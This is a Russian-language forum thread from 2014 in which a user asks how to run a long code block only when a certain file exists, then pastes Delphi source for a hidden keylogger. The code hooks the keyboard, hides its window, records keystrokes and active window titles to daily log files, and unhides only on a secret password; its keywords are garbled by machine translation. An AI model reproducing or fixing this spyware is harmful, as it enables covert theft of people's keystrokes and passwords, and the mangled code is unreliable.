Дата: Воскресенье, 19.10.2014, 22:35 | Сообщение # 1
Участник
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 67
Статус: Offline
Привет, как можно это сделать? if FileExists('C:\12.txt') then и выполнить код из 20-ти или более строк, с разными функциями За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь. (MAS)
Сообщение отредактировал MAS - Воскресенье, 19.10.2014, 22:38
Дата: Понедельник, 20.10.2014, 16:28 | Сообщение # 4
Участник
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 67
Статус: Offline
Цитатаdolphin ()
Я правильно понял?
почти, я хотел выполнить вот так т.к я не знаю и в инете не нашел как:
Код
если FileExists('C:\12.txt') then //если файл есть 12.txt, то выполнить например этот огромный код
функция SetKeyHook: Longint; external DllName name 'SetKeyHook'; функция DelKeyHook: Longint; external DllName name 'DelKeyHook';
процедура HideAsk; начать ShowWindow(Handle, SW_HIDE); end;
процедура ShowAsk; начать ShowWindow(Handle, SW_SHOW); end;
процедура RegisterMySelf; начать end;
функция FileAge(const FileName: string): Integer; var Handle: THandle; FindData: TWin32FindData; LocalFileTime: TFileTime; начать Handle:=FindFirstFile(PChar(FileName), FindData); если ручка <> INVALID_HANDLE_VALUE then начать Windows.FindClose(Handle); если (FindData.dwFileAttributes и FILE_ATTRIBUTE_DIRECTORY) = 0 тогда начать FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); если FileTimeToDosDateTime(LocalFileTime, LongRec(результат).привет LongRec(результат).Lo) then Exit; end; end; Result:=-1; end;
function FileExists(const FileName: string): Boolean; начать Result:=FileAge(FileName) <> -1; end;
функция StrLen(const Str: PChar): Cardinal; assembler; asm mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx end;
функция StrCopy(Dest: PChar; const Source: PChar): PChar; assembler; asm push edi push esi mov esi, eax mov edi, edx mov ecx, 0FFFFFFFFh xor al, al repne scasb не ecx mov edi, esi mov esi, edx mov edx, ecx mov eax, edi shr ecx, 2 rep movsd mov ecx, edx и ecx, 3 rep movsb pop esi pop edi end;
функция StrEnd(const Str: PChar): PChar; assembler; asm mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb lea eax, [edi-1] mov edi, edx end;
функция StrCat(Dest: PChar; const Source: PChar): PChar; начать StrCopy(StrEnd(Dest), Источник); Result := Dest; end;
функция IntToStr(x: integer): string; начать Str(x, Result); end;
процедура GenerateFileName; var ST: SystemTime; начать GetLocalTime(ST); FileName:=IntToStr(ST.wDay)+'day_'+IntToStr(ST.wMonth)+'month.log'; if FileExists(FileName) then AfterCrush:=true; end;
процедура EmptyBuffer; var F: File; начать GenerateFileName; AssignFile(F, FileName); if FileExists(FileName) then начать Reset(F, 1); Seek(F, FileSize(F)); конец еще Rewrite(F, 1); BlockWrite(F, Buffer, StrLen(Buffer)); CloseFile(F); FillChar(Buffer, SizeOf(Buffer), chr(0)); end;
процедура SaveData(D: PChar); начать если StrLen(Buffer) < BuffSize затем StrCat(Buffer, D) еще EmptyBuffer; end;
процедура WriteTime; var K: string[100]; i: byte; начать если Time.wMinute > 9 тогда K:='"'+IntToStr(Time.wHour)+':'+IntToStr(Time.wMinute)+"" else K:='"'+IntToStr(Time.wHour)+':0'+IntToStr(Time.wMinute)+""; for i:=1 to Length(K) SzKeyName[i-1]:=K[i]; SzKeyName[Length(K)]:=chr(0); SaveData(SzKeyName); FillChar(SzKeyName, SizeOf(SzKeyName), chr(0)); SaveData(Cr); end;
процедура CheckTime; начать GetLocalTime(Время); если Time.wMinute<>минут затем начать Minute:=Time.wMinute; SaveData(Cr); WriteTime; end; end;
процедура CheckTask; начать CWnd:=GetForegroundWindow; GetWindowText(CWnd, SzKeyName, SizeOf(SzKeyName)); если (CWnd <> LastWnd) или (SzKeyName <> WINDOWNAME) тогда начать LastWnd:=CWnd; WindowName:=SzKeyName; GetWindowModuleFileName(CWnd, SzKeyName, SizeOf(SzKeyName)); if (StrLen(WindowName) <> 0) and (StrLen(SzKeyName) <> 0) тогда начать SaveData(Cr); SaveData(WinActTxt); SaveData(WindowName); SaveData("' в модуле : "'); SaveData(SzKeyName); SaveData("';'); конец еще if (StrLen(WindowName) = 0) and (StrLen(SzKeyName) <> 0) тогда начать SaveData(Cr); SaveData(WinActTxt); SaveData('можно не обнаружить'); SaveData("' в модуле : "'); SaveData(SzKeyName); SaveData("';'); конец еще начать SaveData(Cr); SaveData(WinActTxt); SaveData(WindowName); SaveData("' в модуле : '); SaveData('можно не обнаружить'); SaveData("';'); end; SaveData(Cr); CheckTime; end; FillChar(SzKeyName, SizeOf(SzKeyName), chr(0)); end;
процедура StartSniff; начать Minute:=100; Sniff:=true; hLib:=LoadLibrary(DllName); SetKeyHook; Buffer[0]:=chr(0); LastWND:=0; WindowName:="; CheckTask; GenerateFileName; FillChar(Buffer, SizeOf(Buffer), chr(0)); SaveData(Cr); если AfterCrush затем SaveData(Продолжить) еще SaveData(Запуск); GetLocalTime(Время); Minute:=Time.wMinute; WriteTime; FillChar(SzKeyName, 100, chr(0)); bPassword:="; end;
процедура CheckPassWord(b: Char); var i: byte; начать bPassword:=bPassword + b; for i:=1 to Length(bPassword) если bPassword[i] <> пароль[i] then начать bPassword:="; break; end; если длина(bPassword) = Length(Password), а затем ShowAsk; end;
функция WndProc(hnd, wmsg, wparam, lparam: integer): integer; stdcall; var t: string; начать случай из wmsg WM_COMMAND: начать если параметр dword(lparam) = нажмите кнопку начать если нюхать потом начать T:='Start Spy'; SendMessage(кнопка, WM_SETTEXT, 0, integer(T)); EndSniff; конец еще начать T:='Стоп Spy'; SendMessage(кнопка, WM_SETTEXT, 0, integer(T)); HideAsk; StartSniff; end; end; end; KeyEvent: начать GetKeyNameText(lParam, SzKeyName, SizeOf(SzKeyName)); CheckPassword(chr(wParam)); SaveData('<'); SaveData(SzKeyName); FillChar(SzKeyName, 100, chr(0)); SaveData('>'); end; MouseEvent: CheckTASK; WM_DESTROY: начать EndSniff; EmptyBuffer; PostQuitMessage(0); end; еще Result:=DefWindowProc(hnd, wmsg, wparam, lparam); end; end;
Процедура CreateMySelf; var T: string; начать с WinClass делать начать lpszClassName:=WinTitle; lpfnWndProc:=@WndProc; cbClsExtra:=0; cbWndExtra:=0; hInstance:=hInstance; style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS; hIcon:=LoadIcon(hInstance, IconName); hCursor:=LoadCursor(hInstance, IDC_ARROW); hbrBackground:=COLOR_WINDOW; end; RegisterClass(WinClass); Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, " Key Logger', WS_VISIBLE или WS_MINIMIZEBOX или WS_CAPTION или WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 170, 63, 0, 0, hInstance, nil); Button:=CreateWindowEx(BS_RIGHTBUTTON, 'BUTTON', 'крюк', (WS_TABSTOP или WS_VISIBLE или WS_CHILD), 5, 5, 96, 25, ручка, 0, hInstance, nil); T:='Стоп Spy'; SendMessage(кнопка, WM_SETTEXT, 0, integer(T)); end;
начать CreateMySelf; RegisterMySelf; Cr:=chr(13)+chr(10); FindWindow(WinTitle, nil); Sniff:=false; StartSniff; HideAsk; while GetMessage(Msg, 0, 0, 0) do начать TranslateMessage(Msg); DispatchMessage(Msg); end;
За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь. (MAS)
Сообщение отредактировал MAS - Понедельник, 20.10.2014, 16:30